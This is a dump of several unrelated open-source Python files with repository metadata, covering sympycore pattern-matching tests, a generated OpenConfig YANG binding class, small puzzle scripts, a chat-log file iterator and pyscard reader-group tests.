p.matches(s+2,*wargs)==None assert p.matches(s*2,*wargs)==None assert p.matches(s**2*2,*wargs)==None #assert p.matches(s**2*4,*wargs)=={w:2*s} #assert p.matches(s**2*t**2,*wargs)=={w:s*t} #assert p.matches(4*s**2*t**2,*wargs)=={w:2*s*t} #assert p.matches(s**4*t**4,*wargs)=={w:(s*t)**2} #assert p.matches(s**2*t**4,*wargs)=={w:s*t**2} assert p.matches(s**2*t**3,*wargs)==None #assert p.matches(s**2*t**-4,*wargs)=={w:s*t**-2} def _test_wild_symbol_factor(): w = Symbol('w') s = Symbol('s') t = Symbol('t') p = s*w wargs = {},([w],[True]) assert p.matches(Number(1),*wargs)=={w:1/s} assert p.matches(s,*wargs)=={w:1} assert p.matches(2+t,*wargs)=={w:(2+t)/s} def test_symbol2(): x = Symbol('x') a,b,c,p,q = map(Symbol, 'abcpq') e = x assert e.match(x) == {} assert e.match(a,a) == {a: x} e = Number(5) assert e.match(c,c) == {c: 5} assert e.match(e) == {} assert e.match(e+1) == None def _test_add(): x,y,a,b,c = map(Symbol, 'xyabc') p,q,r = map(Symbol, 'pqr') e = a+b assert e.match(p+b,p) == {p: a} assert e.match(p+a,p) == {p: b} e = 1+b assert e.match(p+b,p) == {p: 1} e = a+b+c assert e.match(a+p+c,p) == {p: b} assert e.match(b+p+c,p) == {p: a} e = a+b+c+x assert e.match(a+p+x+c,p) == {p: b} assert e.match(b+p+c+x,p) == {p: a} assert e.match(b) == None assert e.match(b+p,p) == {p: a+c+x} assert e.match(a+p+c,p) == {p: b+x} assert e.match(b+p+c,p) == {p: a+x} e = 4*x+5 assert e.match(3*x+p,p) == {p: x+5} assert e.match(4*x+p,(p,lambda expr: not expr.args)) == {p: 5} assert e.match(p*x+5,(p,lambda expr: not expr.args)) == {p: 4} assert e.match(p*x+q,(p,lambda expr: not expr.args),(q,lambda expr: not expr.args)) == {p: 4, q: 5} e = 4*x+5*y+6 assert e.match(p*x+q*y+r,(p,lambda expr: not expr.args), (q,lambda expr: not expr.args), (r,lambda expr: not expr.args)) == {p: 4, q: 5, r: 6}

29.427778

103

0.537474

from sympycore import CollectingField as Algebra Symbol = Algebra.Symbol Number = Algebra.Number Add = Algebra.Add Mul = Algebra.Mul Pow = Algebra.Pow Terms = Algebra.Terms Factors = Algebra.Factors def test_symbol(): p = Symbol('p') s = Symbol('s') t = Symbol('t') assert s.matches(s)=={} assert s.matches(t)==None assert s.matches(t,{},([s,],[True,]))=={s:t} assert s.matches(t,{},([s,t],[True,True]))==None def test_number(): s = Symbol('s') n = Number(2) assert n.matches(2)=={} assert n.matches(3)==None assert n.matches(s)==None assert n.matches(s+2)==None def test_wild(): w = Symbol('w') s = Symbol('s') wargs = [w],[True] assert w.matches(Number(2),{},wargs)=={w:2} assert w.matches(s,{},wargs)=={w:s} assert w.matches(w,{},wargs)==None assert w.matches(s+2,{},wargs)=={w:s+2} assert w.matches(2*s,{},wargs)=={w:2*s} assert w.matches(s**2,{},wargs)=={w:s**2} def test_symbol(): s = Symbol('s') assert s.matches(s)=={} assert s.matches(2)==None assert s.matches(2+s)==None assert s.matches(2*s)==None assert s.matches(s**2)==None def test_term(): s = Symbol('s') p = 2*s assert p.matches(2*s)=={} assert p.matches(3*s)==None assert p.matches(s)==None assert p.matches(Number(2))==None assert p.matches(s**2)==None def _test_wild_term(): w = Symbol('w') p = 2*w s = Symbol('s') t = Symbol('t') wargs = {},([w],[True]) assert p.matches(Number(1),*wargs)=={w:Number(1)/2} assert p.matches(Number(2),*wargs)=={w:1} assert p.matches(2*s,*wargs)=={w:s} assert p.matches(3*s,*wargs)=={w:s*Number(3)/2} assert p.matches(t*s,*wargs)=={w:t*s/2} assert p.matches(s**2,*wargs)=={w:s**2/2} m = p.matches(2*s+2,*wargs) assert m is not None and m[w]==(2*(s+1))/2 assert p.matches(2*s+4,*wargs)=={w:(s+2)*2/2} assert p.matches(2*s+5,*wargs)=={w:(2*s+Number(5))/2} assert p.matches(2*s+t,*wargs)=={w:(2*s+t)/2} assert p.matches(2*s-2*t,*wargs)=={w:(s-t)*2/2} def _test_wild_symbol_term(): w = Symbol('w') s = Symbol('s') t = Symbol('t') p = s+w wargs = {},([w],[True]) assert p.matches(s+2,*wargs)=={w:2} assert p.matches(t+2,*wargs)=={w:t+2-s} def _test_wild_wild_term(): w1 = Symbol('w1') w2 = Symbol('w2') p = w1 + 2*w2 s = Symbol('s') t = Symbol('t') wargs = {},([w1,w2],[True,True]) assert p.matches(Number(2),*wargs) in [{w2:0,w1:2},{w2:1,w1:0}] assert p.matches(2*s+t+2,*wargs) in [{w2:1+s,w1:t},{w1:2*s+t,w2:1},{w2:s,w1:t+2}, {w1:2+2*s, w2:t/2}] def _test_wild_factor(): w = Symbol('w') p = w**2 s = Symbol('s') t = Symbol('t') wargs = {},([w],[True]) assert p.matches(s,*wargs)==None assert p.matches(s**2,*wargs)=={w:s} assert p.matches(s**3,*wargs)==None assert p.matches(s+2,*wargs)==None assert p.matches(s*2,*wargs)==None assert p.matches(s**2*2,*wargs)==None assert p.matches(s**2*t**3,*wargs)==None def _test_wild_symbol_factor(): w = Symbol('w') s = Symbol('s') t = Symbol('t') p = s*w wargs = {},([w],[True]) assert p.matches(Number(1),*wargs)=={w:1/s} assert p.matches(s,*wargs)=={w:1} assert p.matches(2+t,*wargs)=={w:(2+t)/s} def test_symbol2(): x = Symbol('x') a,b,c,p,q = map(Symbol, 'abcpq') e = x assert e.match(x) == {} assert e.match(a,a) == {a: x} e = Number(5) assert e.match(c,c) == {c: 5} assert e.match(e) == {} assert e.match(e+1) == None def _test_add(): x,y,a,b,c = map(Symbol, 'xyabc') p,q,r = map(Symbol, 'pqr') e = a+b assert e.match(p+b,p) == {p: a} assert e.match(p+a,p) == {p: b} e = 1+b assert e.match(p+b,p) == {p: 1} e = a+b+c assert e.match(a+p+c,p) == {p: b} assert e.match(b+p+c,p) == {p: a} e = a+b+c+x assert e.match(a+p+x+c,p) == {p: b} assert e.match(b+p+c+x,p) == {p: a} assert e.match(b) == None assert e.match(b+p,p) == {p: a+c+x} assert e.match(a+p+c,p) == {p: b+x} assert e.match(b+p+c,p) == {p: a+x} e = 4*x+5 assert e.match(3*x+p,p) == {p: x+5} assert e.match(4*x+p,(p,lambda expr: not expr.args)) == {p: 5} assert e.match(p*x+5,(p,lambda expr: not expr.args)) == {p: 4} assert e.match(p*x+q,(p,lambda expr: not expr.args),(q,lambda expr: not expr.args)) == {p: 4, q: 5} e = 4*x+5*y+6 assert e.match(p*x+q*y+r,(p,lambda expr: not expr.args), (q,lambda expr: not expr.args), (r,lambda expr: not expr.args)) == {p: 4, q: 5, r: 6}

true

790c7d33ed5f2d9646494d9e9137958f6fb0bbd0

9,689

py

Python

napalm_yang/models/openconfig/interfaces/interface/subinterfaces/subinterface/ipv4/unnumbered/interface_ref/config/__init__.py

ckishimo/napalm-yang

8f2bd907bd3afcde3c2f8e985192de74748baf6c

[ "Apache-2.0" ]

64

2016-10-20T15:47:18.000Z

2021-11-11T11:57:32.000Z

napalm_yang/models/openconfig/interfaces/interface/subinterfaces/subinterface/ipv4/unnumbered/interface_ref/config/__init__.py

ckishimo/napalm-yang

8f2bd907bd3afcde3c2f8e985192de74748baf6c

[ "Apache-2.0" ]

126

2016-10-05T10:36:14.000Z

2019-05-15T08:43:23.000Z

napalm_yang/models/openconfig/interfaces/interface/subinterfaces/subinterface/ipv4/unnumbered/interface_ref/config/__init__.py

ckishimo/napalm-yang

8f2bd907bd3afcde3c2f8e985192de74748baf6c

[ "Apache-2.0" ]

63

2016-11-07T15:23:08.000Z

2021-09-22T14:41:16.000Z

# -*- coding: utf-8 -*- from operator import attrgetter from pyangbind.lib.yangtypes import RestrictedPrecisionDecimalType from pyangbind.lib.yangtypes import RestrictedClassType from pyangbind.lib.yangtypes import TypedListType from pyangbind.lib.yangtypes import YANGBool from pyangbind.lib.yangtypes import YANGListType from pyangbind.lib.yangtypes import YANGDynClass from pyangbind.lib.yangtypes import ReferenceType from pyangbind.lib.base import PybindBase from collections import OrderedDict from decimal import Decimal from bitarray import bitarray import six # PY3 support of some PY2 keywords (needs improved) if six.PY3: import builtins as __builtin__ long = int elif six.PY2: import __builtin__ class config(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-interfaces - based on the path /interfaces/interface/subinterfaces/subinterface/ipv4/unnumbered/interface-ref/config. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: Configured reference to interface / subinterface """ __slots__ = ("_path_helper", "_extmethods", "__interface", "__subinterface") _yang_name = "config" _pybind_generated_by = "container" def __init__(self, *args, **kwargs): self._path_helper = False self._extmethods = False self.__interface = YANGDynClass( base=six.text_type, is_leaf=True, yang_name="interface", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace="http://openconfig.net/yang/interfaces/ip", defining_module="openconfig-if-ip", yang_type="leafref", is_config=True, ) self.__subinterface = YANGDynClass( base=six.text_type, is_leaf=True, yang_name="subinterface", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace="http://openconfig.net/yang/interfaces/ip", defining_module="openconfig-if-ip", yang_type="leafref", is_config=True, ) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path() + [self._yang_name] else: return [ "interfaces", "interface", "subinterfaces", "subinterface", "ipv4", "unnumbered", "interface-ref", "config", ] def _get_interface(self): """ Getter method for interface, mapped from YANG variable /interfaces/interface/subinterfaces/subinterface/ipv4/unnumbered/interface_ref/config/interface (leafref) YANG Description: Reference to a base interface. If a reference to a subinterface is required, this leaf must be specified to indicate the base interface. """ return self.__interface def _set_interface(self, v, load=False): """ Setter method for interface, mapped from YANG variable /interfaces/interface/subinterfaces/subinterface/ipv4/unnumbered/interface_ref/config/interface (leafref) If this variable is read-only (config: false) in the source YANG file, then _set_interface is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_interface() directly. YANG Description: Reference to a base interface. If a reference to a subinterface is required, this leaf must be specified to indicate the base interface. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass( v, base=six.text_type, is_leaf=True, yang_name="interface", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace="http://openconfig.net/yang/interfaces/ip", defining_module="openconfig-if-ip", yang_type="leafref", is_config=True, ) except (TypeError, ValueError): raise ValueError( { "error-string": """interface must be of a type compatible with leafref""", "defined-type": "leafref", "generated-type": """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="interface", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/interfaces/ip', defining_module='openconfig-if-ip', yang_type='leafref', is_config=True)""", } ) self.__interface = t if hasattr(self, "_set"): self._set() def _unset_interface(self): self.__interface = YANGDynClass( base=six.text_type, is_leaf=True, yang_name="interface", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace="http://openconfig.net/yang/interfaces/ip", defining_module="openconfig-if-ip", yang_type="leafref", is_config=True, ) def _get_subinterface(self): """ Getter method for subinterface, mapped from YANG variable /interfaces/interface/subinterfaces/subinterface/ipv4/unnumbered/interface_ref/config/subinterface (leafref) YANG Description: Reference to a subinterface -- this requires the base interface to be specified using the interface leaf in this container. If only a reference to a base interface is requuired, this leaf should not be set. """ return self.__subinterface def _set_subinterface(self, v, load=False): """ Setter method for subinterface, mapped from YANG variable /interfaces/interface/subinterfaces/subinterface/ipv4/unnumbered/interface_ref/config/subinterface (leafref) If this variable is read-only (config: false) in the source YANG file, then _set_subinterface is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_subinterface() directly. YANG Description: Reference to a subinterface -- this requires the base interface to be specified using the interface leaf in this container. If only a reference to a base interface is requuired, this leaf should not be set. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass( v, base=six.text_type, is_leaf=True, yang_name="subinterface", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace="http://openconfig.net/yang/interfaces/ip", defining_module="openconfig-if-ip", yang_type="leafref", is_config=True, ) except (TypeError, ValueError): raise ValueError( { "error-string": """subinterface must be of a type compatible with leafref""", "defined-type": "leafref", "generated-type": """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="subinterface", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/interfaces/ip', defining_module='openconfig-if-ip', yang_type='leafref', is_config=True)""", } ) self.__subinterface = t if hasattr(self, "_set"): self._set() def _unset_subinterface(self): self.__subinterface = YANGDynClass( base=six.text_type, is_leaf=True, yang_name="subinterface", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace="http://openconfig.net/yang/interfaces/ip", defining_module="openconfig-if-ip", yang_type="leafref", is_config=True, ) interface = __builtin__.property(_get_interface, _set_interface) subinterface = __builtin__.property(_get_subinterface, _set_subinterface) _pyangbind_elements = OrderedDict( [("interface", interface), ("subinterface", subinterface)] )

38.756

338

0.618846

from operator import attrgetter from pyangbind.lib.yangtypes import RestrictedPrecisionDecimalType from pyangbind.lib.yangtypes import RestrictedClassType from pyangbind.lib.yangtypes import TypedListType from pyangbind.lib.yangtypes import YANGBool from pyangbind.lib.yangtypes import YANGListType from pyangbind.lib.yangtypes import YANGDynClass from pyangbind.lib.yangtypes import ReferenceType from pyangbind.lib.base import PybindBase from collections import OrderedDict from decimal import Decimal from bitarray import bitarray import six if six.PY3: import builtins as __builtin__ long = int elif six.PY2: import __builtin__ class config(PybindBase): __slots__ = ("_path_helper", "_extmethods", "__interface", "__subinterface") _yang_name = "config" _pybind_generated_by = "container" def __init__(self, *args, **kwargs): self._path_helper = False self._extmethods = False self.__interface = YANGDynClass( base=six.text_type, is_leaf=True, yang_name="interface", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace="http://openconfig.net/yang/interfaces/ip", defining_module="openconfig-if-ip", yang_type="leafref", is_config=True, ) self.__subinterface = YANGDynClass( base=six.text_type, is_leaf=True, yang_name="subinterface", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace="http://openconfig.net/yang/interfaces/ip", defining_module="openconfig-if-ip", yang_type="leafref", is_config=True, ) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path() + [self._yang_name] else: return [ "interfaces", "interface", "subinterfaces", "subinterface", "ipv4", "unnumbered", "interface-ref", "config", ] def _get_interface(self): return self.__interface def _set_interface(self, v, load=False): if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass( v, base=six.text_type, is_leaf=True, yang_name="interface", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace="http://openconfig.net/yang/interfaces/ip", defining_module="openconfig-if-ip", yang_type="leafref", is_config=True, ) except (TypeError, ValueError): raise ValueError( { "error-string": """interface must be of a type compatible with leafref""", "defined-type": "leafref", "generated-type": """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="interface", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/interfaces/ip', defining_module='openconfig-if-ip', yang_type='leafref', is_config=True)""", } ) self.__interface = t if hasattr(self, "_set"): self._set() def _unset_interface(self): self.__interface = YANGDynClass( base=six.text_type, is_leaf=True, yang_name="interface", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace="http://openconfig.net/yang/interfaces/ip", defining_module="openconfig-if-ip", yang_type="leafref", is_config=True, ) def _get_subinterface(self): return self.__subinterface def _set_subinterface(self, v, load=False): if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass( v, base=six.text_type, is_leaf=True, yang_name="subinterface", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace="http://openconfig.net/yang/interfaces/ip", defining_module="openconfig-if-ip", yang_type="leafref", is_config=True, ) except (TypeError, ValueError): raise ValueError( { "error-string": """subinterface must be of a type compatible with leafref""", "defined-type": "leafref", "generated-type": """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="subinterface", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/interfaces/ip', defining_module='openconfig-if-ip', yang_type='leafref', is_config=True)""", } ) self.__subinterface = t if hasattr(self, "_set"): self._set() def _unset_subinterface(self): self.__subinterface = YANGDynClass( base=six.text_type, is_leaf=True, yang_name="subinterface", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace="http://openconfig.net/yang/interfaces/ip", defining_module="openconfig-if-ip", yang_type="leafref", is_config=True, ) interface = __builtin__.property(_get_interface, _set_interface) subinterface = __builtin__.property(_get_subinterface, _set_subinterface) _pyangbind_elements = OrderedDict( [("interface", interface), ("subinterface", subinterface)] )

true

790c7d52cffef7989eab03b3b36c8feaf7bb9e54

639

py

Python

changebase.py

quake0day/oj

c09333d1738f8735de0d5d825db6f4b707585670

[ "MIT" ]

null

changebase.py

quake0day/oj

c09333d1738f8735de0d5d825db6f4b707585670

[ "MIT" ]

null

changebase.py

quake0day/oj

c09333d1738f8735de0d5d825db6f4b707585670

[ "MIT" ]

null

class Solution(object): def changebase(self, n, base): digits = "0123456789ABCDEF" remstack = [] while n > 0: rem = n % base remstack.append(rem) n = n / base newString = "" while not len(remstack) == 0: newString += digits[remstack.pop()] return newString def countNum(self, n, base): res = self.changebase(n, base)[:-1][::-1] i = 0 count = 0 while i < len(res): print int(res[i]) count += base**i * int(res[i]) i += 1 print count a = Solution() print a.changebase(44, 4) print a.countNum(44, 4) print a.changebase(23, 4)

21.3

46

0.544601

class Solution(object): def changebase(self, n, base): digits = "0123456789ABCDEF" remstack = [] while n > 0: rem = n % base remstack.append(rem) n = n / base newString = "" while not len(remstack) == 0: newString += digits[remstack.pop()] return newString def countNum(self, n, base): res = self.changebase(n, base)[:-1][::-1] i = 0 count = 0 while i < len(res): print int(res[i]) count += base**i * int(res[i]) i += 1 print count a = Solution() print a.changebase(44, 4) print a.countNum(44, 4) print a.changebase(23, 4)

false

true

790c7da827e14ff727534ea42036678e1841c3da

377

py

Python

chat_unifier/file_iterators/trillian_xml.py

mtlynch/chat_unifier

7449ca4f2dd48d8b76fc29e150643076dd0b3334

[ "MIT" ]

2

2018-10-16T18:39:06.000Z

2019-01-22T01:38:09.000Z

chat_unifier/file_iterators/trillian_xml.py

mtlynch/chat_unifier

7449ca4f2dd48d8b76fc29e150643076dd0b3334

[ "MIT" ]

2

2018-10-19T00:00:21.000Z

2018-10-19T17:15:25.000Z

chat_unifier/file_iterators/trillian_xml.py

mtlynch/chat_unifier

7449ca4f2dd48d8b76fc29e150643076dd0b3334

[ "MIT" ]

null

import os def iterate_files(directory): for root, dirs, filenames in os.walk(directory): for filename in filenames: if _is_log_file(filename): yield os.path.join(root, filename) def _is_log_file(filename): basename, extension = os.path.splitext(filename) return ((extension == '.xml') and (not basename.endswith('-assets')))

26.928571

73

0.660477

import os def iterate_files(directory): for root, dirs, filenames in os.walk(directory): for filename in filenames: if _is_log_file(filename): yield os.path.join(root, filename) def _is_log_file(filename): basename, extension = os.path.splitext(filename) return ((extension == '.xml') and (not basename.endswith('-assets')))

true

790c7dc745912cc64eded0455518ab84c72d7f34

1,261

py

Python

2021/09-2.py

lsangers/AdventOfCode

5e4d1bb71c80609ef1472e5167922ed378ab06d6

[ "MIT" ]

1

2021-12-03T10:35:45.000Z

2021/09-2.py

lsangers/AdventOfCode

5e4d1bb71c80609ef1472e5167922ed378ab06d6

[ "MIT" ]

null

2021/09-2.py

lsangers/AdventOfCode

5e4d1bb71c80609ef1472e5167922ed378ab06d6

[ "MIT" ]

null

import os import sys filename = __file__[:-5] + '-input' with open(filename) as f: board = list(map(lambda s: list(map(int, list(s))), f.read().splitlines())) max_row = len(board) max_col = len(board[0]) def get_neighbors(row, col): n = [] if(row > 0): n.append((row-1,col)) if(row+1 < max_row): n.append((row+1,col)) if(col > 0): n.append((row,col-1)) if(col+1 < max_col): n.append((row,col+1)) return n low_points = [] basin_size = {} for i, row in enumerate(board): for j, val in enumerate(row): neighbors = [board[r][c] for r,c in get_neighbors(i,j)] if all([val < elem for elem in neighbors ]): low_points.append((i,j)) for r,c in low_points: visited = [] to_explore = [(r,c)] while len(to_explore) > 0: visited.append(to_explore[0]) cur_r, cur_c = to_explore.pop(0) to_explore.extend([(r,c) for r,c in get_neighbors(cur_r, cur_c) if board[r][c] < 9 and (r,c) not in visited and (r,c) not in to_explore]) basin_size[(r,c)] = len(visited) largest_basins = sorted(basin_size, key=basin_size.get, reverse=True)[:3] print(basin_size[largest_basins[0]]*basin_size[largest_basins[1]]*basin_size[largest_basins[2]])

24.72549

145

0.610626

import os import sys filename = __file__[:-5] + '-input' with open(filename) as f: board = list(map(lambda s: list(map(int, list(s))), f.read().splitlines())) max_row = len(board) max_col = len(board[0]) def get_neighbors(row, col): n = [] if(row > 0): n.append((row-1,col)) if(row+1 < max_row): n.append((row+1,col)) if(col > 0): n.append((row,col-1)) if(col+1 < max_col): n.append((row,col+1)) return n low_points = [] basin_size = {} for i, row in enumerate(board): for j, val in enumerate(row): neighbors = [board[r][c] for r,c in get_neighbors(i,j)] if all([val < elem for elem in neighbors ]): low_points.append((i,j)) for r,c in low_points: visited = [] to_explore = [(r,c)] while len(to_explore) > 0: visited.append(to_explore[0]) cur_r, cur_c = to_explore.pop(0) to_explore.extend([(r,c) for r,c in get_neighbors(cur_r, cur_c) if board[r][c] < 9 and (r,c) not in visited and (r,c) not in to_explore]) basin_size[(r,c)] = len(visited) largest_basins = sorted(basin_size, key=basin_size.get, reverse=True)[:3] print(basin_size[largest_basins[0]]*basin_size[largest_basins[1]]*basin_size[largest_basins[2]])

true

790c7e2d9fdf394a11fec5da3617ad43ec97070e

5,702

py

Python

cacreader/pyscard-2.0.2/smartcard/test/framework/testcase_readergroups.py

kyletanyag/LL-Smartcard

02abea9de5a13f8bae4d7832ab34cb7f0d9514c9

[ "BSD-3-Clause" ]

null

cacreader/pyscard-2.0.2/smartcard/test/framework/testcase_readergroups.py

kyletanyag/LL-Smartcard

02abea9de5a13f8bae4d7832ab34cb7f0d9514c9

[ "BSD-3-Clause" ]

null

cacreader/pyscard-2.0.2/smartcard/test/framework/testcase_readergroups.py

kyletanyag/LL-Smartcard

02abea9de5a13f8bae4d7832ab34cb7f0d9514c9

[ "BSD-3-Clause" ]

null

#! /usr/bin/env python3 """Unit tests for smartcard.readers.ReaderGroups This test case can be executed individually, or with all other test cases thru testsuite_framework.py. __author__ = "http://www.gemalto.com" Copyright 2001-2012 gemalto Author: Jean-Daniel Aussel, mailto:jean-daniel.aussel@gemalto.com This file is part of pyscard. pyscard is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. pyscard is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with pyscard; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ import platform import unittest from smartcard.System import readergroups from smartcard.scard import resourceManager if 'winscard' == resourceManager and \ -1 == platform.platform().find('Windows-7'): class testcase_readergroups(unittest.TestCase): """Test smartcard framework readersgroups.""" pinpadgroup = 'Pinpad$Readers' biogroup = 'Biometric$Readers' def testcase_readergroup_add(self): """tests groups=groups+[newgroups]""" # take a snapshot of current groups groupssnapshot = list(readergroups()) groups = readergroups() # add pinpad group groups = groups + [self.pinpadgroup] self.assertEqual(groups, groupssnapshot + [self.pinpadgroup]) # add pinpad a second time and biometric once groups = groups + [self.biogroup, self.pinpadgroup] self.assertEqual( groups, groupssnapshot + [self.pinpadgroup, self.biogroup]) # clean-up groups.remove(self.biogroup) groups.remove(self.pinpadgroup) def testcase_readergroup_iadd(self): """test groups+=[newgroups]""" # take a snapshot of current groups groupssnapshot = list(readergroups()) groups = readergroups() # add pinpad group groups += [self.pinpadgroup] self.assertEqual(groups, groupssnapshot + [self.pinpadgroup]) # add pinpad a second time and biometric once groups += [self.biogroup, self.pinpadgroup] self.assertEqual( groups, groupssnapshot + [self.pinpadgroup, self.biogroup]) # clean-up groups.remove(self.biogroup) groups.remove(self.pinpadgroup) def testcase_readergroup_radd(self): """test groups=[newgroups]+groups""" # take a snapshot of current groups groupssnapshot = list(readergroups()) groups = readergroups() # add pinpad group zgroups = [self.pinpadgroup] + groups self.assertEqual(groups, groupssnapshot) self.assertEqual(zgroups, groupssnapshot + [self.pinpadgroup]) self.assertTrue(isinstance(zgroups, type([]))) self.assertTrue(isinstance(groups, type(readergroups()))) # add pinpad a tiwce and biometric once zgroups = \ [self.pinpadgroup, self.biogroup, self.pinpadgroup] + groups self.assertEqual(groups, groupssnapshot) self.assertEqual( zgroups, groupssnapshot + [self.pinpadgroup, self.biogroup]) self.assertTrue(isinstance(zgroups, type([]))) self.assertTrue(isinstance(groups, type(readergroups()))) def testcase_readergroup_append(self): """test groups.append(newgroups)""" # take a snapshot of current groups groupssnapshot = list(readergroups()) groups = readergroups() # add pinpad group groups.append(self.pinpadgroup) self.assertEqual(groups, groupssnapshot + [self.pinpadgroup]) # add pinpad a second time groups.append(self.pinpadgroup) self.assertEqual(groups, groupssnapshot + [self.pinpadgroup]) # add biometric once groups.append(self.biogroup) self.assertEqual( groups, groupssnapshot + [self.pinpadgroup, self.biogroup]) # clean-up groups.remove(self.biogroup) groups.remove(self.pinpadgroup) def testcase_readergroup_insert(self): """test groups.insert(i,newgroups)""" # take a snapshot of current groups groupssnapshot = list(readergroups()) groups = readergroups() # add pinpad group groups.insert(0, self.pinpadgroup) self.assertEqual(groups, groupssnapshot + [self.pinpadgroup]) # add pinpad a second time groups.insert(1, self.pinpadgroup) self.assertEqual(groups, groupssnapshot + [self.pinpadgroup]) # add biometric once groups.insert(1, self.biogroup) self.assertEqual( groups, groupssnapshot + [self.pinpadgroup, self.biogroup]) # clean-up groups.remove(self.biogroup) groups.remove(self.pinpadgroup) def suite(): suite1 = unittest.makeSuite(testcase_readergroups) return unittest.TestSuite((suite1)) if __name__ == '__main__': unittest.main()

35.197531

76

0.632936

import platform import unittest from smartcard.System import readergroups from smartcard.scard import resourceManager if 'winscard' == resourceManager and \ -1 == platform.platform().find('Windows-7'): class testcase_readergroups(unittest.TestCase): pinpadgroup = 'Pinpad$Readers' biogroup = 'Biometric$Readers' def testcase_readergroup_add(self): groupssnapshot = list(readergroups()) groups = readergroups() groups = groups + [self.pinpadgroup] self.assertEqual(groups, groupssnapshot + [self.pinpadgroup]) groups = groups + [self.biogroup, self.pinpadgroup] self.assertEqual( groups, groupssnapshot + [self.pinpadgroup, self.biogroup]) groups.remove(self.biogroup) groups.remove(self.pinpadgroup) def testcase_readergroup_iadd(self): groupssnapshot = list(readergroups()) groups = readergroups() groups += [self.pinpadgroup] self.assertEqual(groups, groupssnapshot + [self.pinpadgroup]) groups += [self.biogroup, self.pinpadgroup] self.assertEqual( groups, groupssnapshot + [self.pinpadgroup, self.biogroup]) groups.remove(self.biogroup) groups.remove(self.pinpadgroup) def testcase_readergroup_radd(self): groupssnapshot = list(readergroups()) groups = readergroups() zgroups = [self.pinpadgroup] + groups self.assertEqual(groups, groupssnapshot) self.assertEqual(zgroups, groupssnapshot + [self.pinpadgroup]) self.assertTrue(isinstance(zgroups, type([]))) self.assertTrue(isinstance(groups, type(readergroups()))) zgroups = \ [self.pinpadgroup, self.biogroup, self.pinpadgroup] + groups self.assertEqual(groups, groupssnapshot) self.assertEqual( zgroups, groupssnapshot + [self.pinpadgroup, self.biogroup]) self.assertTrue(isinstance(zgroups, type([]))) self.assertTrue(isinstance(groups, type(readergroups()))) def testcase_readergroup_append(self): groupssnapshot = list(readergroups()) groups = readergroups() groups.append(self.pinpadgroup) self.assertEqual(groups, groupssnapshot + [self.pinpadgroup]) groups.append(self.pinpadgroup) self.assertEqual(groups, groupssnapshot + [self.pinpadgroup]) groups.append(self.biogroup) self.assertEqual( groups, groupssnapshot + [self.pinpadgroup, self.biogroup]) groups.remove(self.biogroup) groups.remove(self.pinpadgroup) def testcase_readergroup_insert(self): groupssnapshot = list(readergroups()) groups = readergroups() groups.insert(0, self.pinpadgroup) self.assertEqual(groups, groupssnapshot + [self.pinpadgroup]) groups.insert(1, self.pinpadgroup) self.assertEqual(groups, groupssnapshot + [self.pinpadgroup]) groups.insert(1, self.biogroup) self.assertEqual( groups, groupssnapshot + [self.pinpadgroup, self.biogroup]) groups.remove(self.biogroup) groups.remove(self.pinpadgroup) def suite(): suite1 = unittest.makeSuite(testcase_readergroups) return unittest.TestSuite((suite1)) if __name__ == '__main__': unittest.main()

true

790c7eff2b6847934590088a080fd9be468a144e

3,147

py

Python

Nivek maths/nivek-maths.py

ThiccTT/nivek-maths

